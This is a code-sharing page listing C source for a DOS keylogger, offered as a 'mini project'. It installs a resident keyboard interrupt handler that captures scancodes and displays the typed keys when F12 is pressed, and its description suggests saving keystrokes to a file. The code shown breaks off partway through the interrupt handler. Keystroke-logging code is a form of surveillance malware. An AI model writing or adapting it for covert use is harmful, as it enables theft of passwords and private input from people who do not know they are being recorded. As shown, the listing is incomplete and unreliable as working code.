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Title DOS Key Logger (Mini Project)
Author Aveo
Author Email bunts [at] hotmail.com
Description DOS Key Logger.Traces kyes typed & Displays on screen while KEY F12 pressed.Can be manipulated to store in file.

Category C » Terminate but Stay Resident (TSR)
Hits 14197
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Code : #include <stdio.h> #include <conio.h> #include <dos.h> #include <bios.h> #define _4KB (4096) #define F12 (88) #define IS_BACKSPACE(key) (key==14) #define IS_SPACE_BAR(key) (key==57) #define IS_ENTER(key) (key==28) #define IS_SPL_ROW(key) (key>=2 && key<=13) #define IS_SPL_1(key) (key==41) #define IS_SPL_2(key) (key==43) #define IS_Q_ROW(key) (key>=16 && key<=27) #define IS_A_ROW(key) (key>=30 && key<=40) #define IS_Z_ROW(key) (key>=44 && key<=53) #define IS_NUM_ROW1(key) (key>=71 && key<=73) #define IS_NUM_ROW2(key) (key>=75 && key<=77) #define IS_NUM_ROW3(key) (key>=79 && key<=81) #define IS_NUM_ROW4(key) (key>=82 && key<=83) #define SIZE (50) char Key_String[SIZE], Space_Bar = ' ', Spl_Row[] = "!@#$%^&*()_+", Spl_1 = '~', Spl_2 = '|', Q_Row[] = "qwertyuiop[]", A_Row[] = "asdfghjkl;'", Z_Row[] = "zxcvbnm,./", Num_Row1[] = "789", Num_Row2[] = "456", Num_Row3[] = "123", Num_Row4[] = "0.", Enter_Symbol[] = " ?"; char *Vid_RAM=0xB8000; int i=0, Key_Val, Last_Pos = 0; void WriteCh2VidRAM(int vdupage, int x, int y, char ch, int attribute ); void WriteStr2VidRAM(int vdupage,int x,int y,char *str, int attribute ); void (__interrupt __far *Int9)(); void (__interrupt __far MyInt9()); void WriteCh2VidRAM( int vdupage, int x, int y, char ch, int attribute) { unsigned seg,off; *(Vid_RAM + _4KB * vdupage + 160 * y + 2 * x) = ch; *(Vid_RAM + _4KB * vdupage + 160 * y + 2 * x + 1) = attribute; } void WriteStr2VidRAM(int vdupage,int x,int y, char *str, int attribute ) { while(*str) WriteCh2VidRAM( vdupage, x++, y, *str++, attribute ); } void __interrupt MyInt9( void ) { Key_Val = inp(0x60); if ( Key_Val==F12 ) { Key_String[i] = '

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